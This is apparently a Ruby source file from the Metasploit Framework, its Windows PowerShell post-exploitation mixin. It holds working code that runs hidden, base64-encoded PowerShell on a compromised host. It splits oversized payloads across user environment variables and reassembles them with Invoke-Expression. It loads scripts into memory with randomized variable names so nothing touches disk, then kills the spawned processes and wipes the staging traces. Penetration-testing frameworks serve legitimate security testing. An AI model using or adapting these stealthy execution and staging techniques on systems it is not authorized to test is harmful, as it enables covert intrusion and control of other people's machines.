# -*- coding: binary -*-
require 'msf/core/exploit/powershell'
require 'msf/core/post/common'

module Msf
class Post
module Windows

module Powershell
  include ::Msf::Exploit::Powershell
  include ::Msf::Post::Common

  def initialize(info = {})
    super
    register_advanced_options(
      [
        OptInt.new('Powershell::Post::timeout',   [true, 'Powershell execution timeout, set < 0 to run async without termination', 15]),
        OptBool.new('Powershell::Post::log_output', [true, 'Write output to log file', false]),
        OptBool.new('Powershell::Post::dry_run', [true, 'Return encoded output to caller', false]),
        OptBool.new('Powershell::Post::force_wow64', [true, 'Force WOW64 execution', false]),
      ], self.class)
  end

  #
  # Returns true if powershell is installed
  #
  def have_powershell?
    cmd_out = cmd_exec('cmd.exe /c "echo. | powershell get-host"')
    return true if cmd_out =~ /Name.*Version.*InstanceId/m
    return false
  end

  #
  # Get/compare list of current PS processes - nested execution can spawn many children
  # doing checks before and after execution allows us to kill more children...
  # This is a hack, better solutions are welcome since this could kill user
  # spawned powershell windows created between comparisons.
  #
  def get_ps_pids(pids = [])
    current_pids = session.sys.process.get_processes.keep_if {|p|
      p['name'].downcase == 'powershell.exe'
    }.map {|p| p['pid']}
    # Subtract previously known pids
    current_pids = (current_pids - pids).uniq
    return current_pids
  end

  #
  # Execute a powershell script and return the output, channels, and pids. The script
  # is never written to disk.
  #
  def execute_script(script, greedy_kill = false)
    @session_pids ||= []
    running_pids = greedy_kill ? get_ps_pids : []
    open_channels = []
    # Execute using -EncodedCommand
    session.response_timeout = datastore['Powershell::Post::timeout'].to_i
    ps_bin = datastore['Powershell::Post::force_wow64'] ?
      '%windir%\syswow64\WindowsPowerShell\v1.0\powershell.exe' : 'powershell.exe'
    unless script.to_s.match( /[A-Za-z0-9+\/]+={0,3}/)[0] == script.to_s and script.to_s.length % 4 == 0
      script = encode_script(script.to_s)
    end
    ps_string = "#{ps_bin} -EncodedCommand #{script} -InputFormat None"
    vprint_good("EXECUTING:\n#{ps_string}")
    cmd_out = session.sys.process.execute(ps_string, nil, {'Hidden' => true, 'Channelized' => true})

    # Subtract prior PIDs from current
    if greedy_kill
      Rex::ThreadSafe.sleep(3) # Let PS start child procs
      running_pids = get_ps_pids(running_pids)
    end

    # Add to list of running processes
    running_pids << cmd_out.pid

    # All pids start here, so store them in a class variable
    (@session_pids += running_pids).uniq!

    # Add to list of open channels
    open_channels << cmd_out

    return [cmd_out, running_pids.uniq, open_channels]
  end


  #
  # Powershell scripts that are longer than 8000 bytes are split into 8000
  # byte chunks and stored as CMD environment variables. A new powershell
  # script is built that will reassemble the chunks and execute the script.
  # Returns the reassembly script.
  #
  def stage_cmd_env(compressed_script, env_suffix = Rex::Text.rand_text_alpha(8))

    # Check to ensure script is encoded and compressed
    if compressed_script =~ /\s|\.|\;/
      compressed_script = compress_script(compressed_script)
    end
    # Divide the encoded script into 8000 byte chunks and iterate
    index = 0
    count = 8000
    while (index < compressed_script.size - 1)
      # Define random, but serialized variable name
      env_prefix = "%05d" % ((index + 8000)/8000)
      env_variable = env_prefix + env_suffix

      # Create chunk
      chunk = compressed_script[index, count]

      # Build the set commands
      set_env_variable =  "[Environment]::SetEnvironmentVariable("
      set_env_variable += "'#{env_variable}',"
      set_env_variable += "'#{chunk}', 'User')"

      # Compress and encode the set command
      encoded_stager = encode_script(compress_script(set_env_variable))

      # Stage the payload
      print_good(" - Bytes remaining: #{compressed_script.size - index}")
      cmd_out, running_pids, open_channels = execute_script(encoded_stager, false)
      # Increment index
      index += count

    end

    # Build the script reassembler
    reassemble_command =  "[Environment]::GetEnvironmentVariables('User').keys|"
    reassemble_command += "Select-String #{env_suffix}|Sort-Object|%{"
    reassemble_command += "$c+=[Environment]::GetEnvironmentVariable($_,'User')"
    reassemble_command += "};Invoke-Expression $($([Text.Encoding]::Unicode."
    reassemble_command += "GetString($([Convert]::FromBase64String($c)))))"

    # Compress and encode the reassemble command
    encoded_script = encode_script(compress_script(reassemble_command))

    return encoded_script
  end

  #
  # Uploads a script into a Powershell session via memory (Powershell session types only).
  # If the script is larger than 15000 bytes the script will be uploaded in a staged approach
  #
  def stage_psh_env(script)
    begin
      ps_script = read_script(script)
      encoded_expression = encode_script(ps_script)
      cleanup_commands = []
      # Add entropy to script variable names
      script_var = ps_script.rig.generate(4)
      decscript = ps_script.rig.generate(4)
      scriptby = ps_script.rig.generate(4)
      scriptbybase = ps_script.rig.generate(4)
      scriptbybasefull = ps_script.rig.generate(4)

      if (encoded_expression.size > 14999)
        print_error("Script size: #{encoded_expression.size} This script requires a stager")
        arr = encoded_expression.chars.each_slice(14999).map(&:join)
        print_good("Loading " + arr.count.to_s + " chunks into the stager.")
        vararray = []
        arr.each_with_index do |slice, index|
          variable = ps_script.rig.generate(5)
          vararray << variable
          indexval = index+1
          vprint_good("Loaded stage:#{indexval}")
          session.shell_command("$#{variable} = \"#{slice}\"")
          cleanup_commands << "Remove-Variable #{variable} -EA 0"
        end
        linkvars = ''
        for var in vararray
          linkvars = linkvars + " + $" + var
        end
        linkvars.slice!(0..2)
        session.shell_command("$#{script_var} = #{linkvars}")
      else
        print_good("Script size: #{encoded_expression.size}")
        session.shell_command("$#{script_var} = \"#{encoded_expression}\"")
      end
      session.shell_command("$#{decscript} = [System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String($#{script_var}))")
      session.shell_command("$#{scriptby}  = [System.Text.Encoding]::UTF8.GetBytes(\"$#{decscript}\")")
      session.shell_command("$#{scriptbybase} = [System.Convert]::ToBase64String($#{scriptby}) ")
      session.shell_command("$#{scriptbybasefull} = ([System.Convert]::FromBase64String($#{scriptbybase}))")
      session.shell_command("([System.Text.Encoding]::UTF8.GetString($#{scriptbybasefull}))|iex")
      print_good("Module loaded")
      unless cleanup_commands.empty?
        vprint_good("Cleaning up #{cleanup_commands.count} stager variables")
        session.shell_command("#{cleanup_commands.join(';')}")
      end
    rescue Errno::EISDIR => e
      vprint_error("Unable to upload script: #{e.message}")
    end
  end

  #
  # Reads output of the command channel and empties the buffer.
  # Will optionally log command output to disk.
  #
  def get_ps_output(cmd_out, eof, read_wait = 5)
    results = ''

    if datastore['Powershell::Post::log_output']
      # Get target's computer name
      computer_name = session.sys.config.sysinfo['Computer']

      # Create unique log directory
      log_dir = ::File.join(Msf::Config.log_directory,'scripts','powershell', computer_name)
      ::FileUtils.mkdir_p(log_dir)

      # Define log filename
      time_stamp  = ::Time.now.strftime('%Y%m%d:%H%M%S')
      log_file    = ::File.join(log_dir,"#{time_stamp}.txt")


      # Open log file for writing
      fd = ::File.new(log_file, 'w+')
    end

    # Read output until eof or nil return output and write to log
    while (1)
      line = ::Timeout.timeout(read_wait) {
        cmd_out.channel.read
      } rescue nil
      break if line.nil?
      if (line.sub!(/#{eof}/, ''))
        results << line
        fd.write(line) if fd
        #vprint_good("\t#{line}")
        break
      end
      results << line
      fd.write(line) if fd
      #vprint_status("\n#{line}")
    end

    # Close log file
    # cmd_out.channel.close()
    fd.close() if fd

    return results

    #
    # Incremental read method - NOT USED
    #
    # read_data = ''
    # 	segment = 2**16
    # 	# Read incrementally smaller blocks after each failure/timeout
    # 	while segment > 0 do
    # 		begin
    # 			read_data << ::Timeout.timeout(read_wait) {
    # 				cmd_out.channel.read(segment)
    # 			}
    # 		rescue
    # 			segment = segment/2
    # 		end
    # 	end
  end

  #
  # Clean up powershell script including process and chunks stored in environment variables
  #
  def clean_up(
    script_file = nil,
    eof = '',
    running_pids =[],
    open_channels = [],
    env_suffix = Rex::Text.rand_text_alpha(8),
    delete = false
  )
    # Remove environment variables
    env_del_command =  "[Environment]::GetEnvironmentVariables('User').keys|"
    env_del_command += "Select-String #{env_suffix}|%{"
    env_del_command += "[Environment]::SetEnvironmentVariable($_,$null,'User')}"

    script = compress_script(env_del_command, eof)
    cmd_out, new_running_pids, new_open_channels = execute_script(script)
    get_ps_output(cmd_out, eof)

    # Kill running processes, should mutex this...
    @session_pids = (@session_pids + running_pids + new_running_pids).uniq
    (running_pids + new_running_pids).uniq.each do |pid|
      begin
        if session.sys.process.processes.map {|x|x['pid']}.include?(pid)
          session.sys.process.kill(pid)
        end
        @session_pids.delete(pid)
      rescue Rex::Post::Meterpreter::RequestError => e
        print_error "Failed to kill #{pid} due to #{e}"
      end
    end


    # Close open channels
    (open_channels + new_open_channels).uniq.each do |chan|
      chan.channel.close
    end

    ::File.delete(script_file) if (script_file and delete)

    return
  end

  # Simple script execution wrapper, performs all steps
  # required to execute a string of powershell.
  # This method will try to kill all powershell.exe PIDs
  # which appeared during its execution, set greedy_kill
  # to false if this is not desired.
  #
  def psh_exec(script, greedy_kill=true, ps_cleanup=true)
    # Define vars
    eof = Rex::Text.rand_text_alpha(8)
    # eof = "THIS__SCRIPT_HAS__COMPLETED_EXECUTION#{rand(100)}"
    env_suffix = Rex::Text.rand_text_alpha(8)
    script = Rex::Powershell::Script.new(script) unless script.respond_to?(:compress_code)
    # Check to ensure base64 encoding - regex format and content length division
    unless script.to_s.match( /[A-Za-z0-9+\/]+={0,3}/)[0] == script.to_s and script.to_s.length % 4 == 0
      script = encode_script(compress_script(script.to_s, eof),eof)
    end
    if datastore['Powershell::Post::dry_run']
      return "powershell -EncodedCommand #{script}"
    else
      # Check 8k cmd buffer limit, stage if needed
      if (script.size > 8100)
        vprint_error("Compressed size: #{script.size}")
        error_msg =  "Compressed size may cause command to exceed "
        error_msg += "cmd.exe's 8kB character limit."
        vprint_error(error_msg)
        vprint_good('Launching stager:')
        script = stage_cmd_env(script, env_suffix)
        print_good("Payload successfully staged.")
      else
        print_good("Compressed size: #{script.size}")
      end
     vprint_good("Final command #{script}")
      # Execute the script, get the output, and kill the resulting PIDs
      cmd_out, running_pids, open_channels = execute_script(script, greedy_kill)
      if datastore['Powershell::Post::timeout'].to_i < 0
        out =  "Started async execution of #{running_pids.join(', ')}, output collection and cleanup will not be performed"
        # print_error out
        return out
      end
      ps_output = get_ps_output(cmd_out,eof,datastore['Powershell::Post::timeout'])
      # Kill off the resulting processes if needed
      if ps_cleanup
        vprint_good( "Cleaning up #{running_pids.join(', ')}" )
        clean_up(nil, eof, running_pids, open_channels, env_suffix, false)
      end
      return ps_output
    end
  end

end
end
end
end
